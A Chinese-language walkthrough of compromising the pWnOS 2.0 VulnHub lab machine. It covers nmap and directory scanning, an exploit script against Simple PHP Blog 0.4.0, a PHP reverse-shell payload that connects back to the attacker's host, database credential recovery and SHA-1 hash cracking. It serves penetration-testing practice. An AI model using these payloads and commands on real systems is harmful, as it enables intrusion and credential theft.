PWNOS:2.0(vulnhub靶机)

文章目录

靶机地址

https://download.vulnhub.com/pwnos/pWnOS_v2.0.7z
这里如果是windows系统直接使用vmware或者virtubox打开可以使用,如果是mac系统需再去做一个配置,比较麻烦
这里给一个参考地址:https://blog.csdn.net/qq_35664104/article/details/131757633

主机发现、端口扫描

shell 复制代码
han@Kali:~/RedTeam$ sudo arp-scan -l 
han@Kali:~/RedTeam$ sudo nmap -sn 192.168.100.0/24

通过主机发现扫描到了主机的ip地址,进一步进行端口扫描以及下一步的利用:

shell 复制代码
han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap --min-rate 10000 192.168.100.104 -p- #使用-p-扫描全端口,min-rate是扫描速率
han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap -sT -A -O -p22,80 192.168.100.104   #-sT是建立tcp扫描(全连接扫描) -A是全面扫描检测包括版本号,操作系统,同时还会利用脚本扫描 -O 是探测操作系统类型 -p时端口号
han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap -sU -p22,80 192.168.100.104  #-U参数是建立UDP扫描
han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap --script=vlun 192.168.100.104    #--script=vuln 使用脚本扫描用于常见的漏洞的探测

第一步扫描我们很清晰的看到有80端口和22端口


到这里我们可以清晰的看到,80端口给我们暴露的攻击面比22端口多,这里我们吧22端口的优先级排后,使用80尝试渗透

web渗透

目录探测

这里介绍3个工具的探测,其实web目录探测工具很多,根据自己的习惯来写就好了

shell 复制代码
han@Kali:~/RedTeam/PWNOS:2.0$ sudo gobuster dir -u http://192.168.100.104 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
han@Kali:~/RedTeam/PWNOS:2.0$ sudo dirsearch -u http://192.168.100.104
han@Kali:~/RedTeam/PWNOS:2.0$ sudo dirb http://192.168.100.104

这里也只是根据我自己的一些习惯给到的一些参数,这里可以根据自己的需求,结合ai等来做一些具体的配置更好的配合我们来做渗透测试

这里同理,对blog目录进行探测

http://192.168.100.104/blog/

http://192.168.100.104/blog/config

http://192.168.100.104/includes

http://192.168.100.104/index.php

http://192.168.100.104/login

漏洞利用

在这里尝试使用sql inject 但是...

到此好像这一个利用手法没有后续可以利用的点,所以这里准备换方法

这里我们看到了有blog的一个目录,还有一个登陆框


这里也并没有可利用的,这里想到blog目录可能是一个cms,需要我们做一个信息收集

shell 复制代码
han@Kali:~/RedTeam/PWNOS:2.0$ whatweb http://192.168.100.104/blog

这里我们发现了是Simple PHP Blog 0.4.0 cms 所以这里可以尝试从这里入手

shell 复制代码
han@Kali:~/RedTeam/PWNOS:2.0$ searchsploit Simple PHP Blog 0.4.0

这里看到了有一个rb 一个pl可以使用

使用search -m 1191.pl将其下载到本地

这里给我们提示,需要加入地址和参数e,我们尝试构造

这里提到可以使用2来得到一个密码文件的hash值 使用3能创建一个用户密码,所以这里使用3来创建用户密码尝试看能不能使用login登陆框来登陆

shell 复制代码
han@Kali:~/RedTeam/PWNOS:2.0$ ./1191.pl -h http://192.168.100.104/blog -e 2

这里使用-h要加入url地址,并且使用/blog目录,起初在这里尝试了很多次都出现了问题,后来发现是必须使用/blog才能成功

shell 复制代码
han@Kali:~/RedTeam/PWNOS:2.0$ ./1191.pl -h http://192.168.100.104/blog -e 3 -U admin -P admin

这里提示我们设置了admin用户和admin密码,这里尝试使用登陆

这是好事,登陆成功了,这里我们看到是有一个上传的接口,这也是好事!

复制代码
han@Kali:~/RedTeam/PWNOS:2.0$ echo '<?php exec("/bin/bash -c '\''bash -i >& /dev/tcp/192.168.100.106/4444 0>&1'\''");?>' > reverse_shell.php                                                                                                                                                                     
han@Kali:~/RedTeam/PWNOS:2.0$ cat reverse_shell.php 

由于这里是使用echo来输入 ,所以需要使用转义符号来

在 Shell 中使用 单引号 包裹整个 PHP 内容,此时内部的单引号需要通过 ''' 转义 转义之后才是我们的'

因为这里存在上传点而且是php的环境,所以我们尝试使用php代码来执行反弹shell,这里还可以使用msf生成反弹shell上线msf,也可以使用webshell工具来执行,根据自己的需求,也根据环境的不同来选择

针对上面命令做一个简单的介绍:
<?php ?> 这里头的代码会被当作php语句而执行

exec()函数是php中用于执行系统命令的函数

/bin/bash -c 通过-c参数来执行后续的字符串命令

bash -i >& /dev/tcp/... 我们熟悉的反弹shell命令

bash -i 启动交互式的shell

/dev/tcp/是linux的特殊设备,用于建立TCP连接

>&是将标准输出和标准的错误重定向到TCP连接

0>&1 将标准输入重定向到标准输出,形成双向通信通道

上传反弹即可

shell 复制代码
han@Kali:~/RedTeam/PWNOS:2.0$ nc -lnvvp 4444


权限提升

这里可以看到已经得到shell,需要我们进一步进行提权了

非常好我们找到了一个有意义的文件

mysql连接的文件

root

goodday

这里就可以尝试登陆,mysql或者是使用22端口ssh登陆,这里就是可以想到的思路

但是非常遗憾,这里都不能登陆,思路再次断了

这里就只能做进一步的信息收集了

说来也巧,这里刚回退到上一个目录,又发现了一个mysql的连接文件

还是root,但是密码不同了

root

root@ISIntS

尝试登陆

非常好,使用root@ISIntS 这个密码直接登陆成功了,还是root权限

这里其实我想到,既然有数据库连接文件,就应该是和数据库有什么关系,所以这里就又进行了一些信息收集

但是这里卡着没反应了

当时 的第一反应我以为是密码错了,可是后来一直卡着没反应,没办法只好重新反弹,我突然想到会不会是终端不友好的问题,所以我尝试使用了python来启动一个交互好点的终端

这是好事,可以使用python起一个终端

shell 复制代码
www-data@web:/var/www/blog/images$ python -c 'import pty;pty.spawn("/bin/bash")'

这里和我们想的是一样的

在数据库中给你做一波信息收集

shell 复制代码
mysql> show databases;
mysql> use ch16;
mysql> select * from users;

这里得到了一个用户Dan的密码c2c4b4e51d9e23c02c15702c136c3e950ba9a4af

shell 复制代码
han@Kali:~/RedTeam/PWNOS:2.0$ hash-identifier 'c2c4b4e51d9e23c02c15702c136c3e950ba9a4af'

使用hash-identifier来识别一下hash值是哪种加密类型,方便我们去判断如何解密

这里是sha-1加密类型,这里需要使用工具来尝试了

解密工具地址

https://www.somd5.com/

成功得到密码:killerbeesareflying

尝试登陆ssh

很遗憾这里登录不成功

看来这里就只有通过root直接登陆,而dan用户没有更多的后续了,那就到此为止了!

总结

整体来说,就是要有一个渗透测试思路,最重要的还是思路,需要我们多多重复多多练习才有思路,文章只做技术交流,希望对各位有帮助!

相关推荐
浩浩测试一下2 小时前
计算机网络中的DHCP是什么呀? 详情解答
android·网络·计算机网络·安全·web安全·网络安全·安全架构
蚁景网络安全2 小时前
从字节码开始到ASM的gadgetinspector源码解析
网络安全
浩浩测试一下4 小时前
SQL注入高级绕过手法汇总 重点
数据库·sql·安全·web安全·网络安全·oracle·安全架构
谈不譚网安5 小时前
CSRF请求伪造
前端·网络安全·csrf
半路_出家ren9 小时前
流量抓取工具(wireshark)
网络·网络协议·测试工具·网络安全·wireshark·流量抓取工具
ALe要立志成为web糕手10 小时前
[BJDCTF2020]EzPHP
web安全·网络安全·php·ctf
自由鬼12 小时前
开源漏洞扫描器:OpenVAS
运维·服务器·安全·网络安全·开源·漏洞管理
TazmiDev12 小时前
2025 XYCTF ezsql 详细教程wp
web安全·网络安全·ctf·sql注入·布尔盲注
go_to_hacker20 小时前
安恒web安全春招实战
安全·web安全·网络安全·渗透测试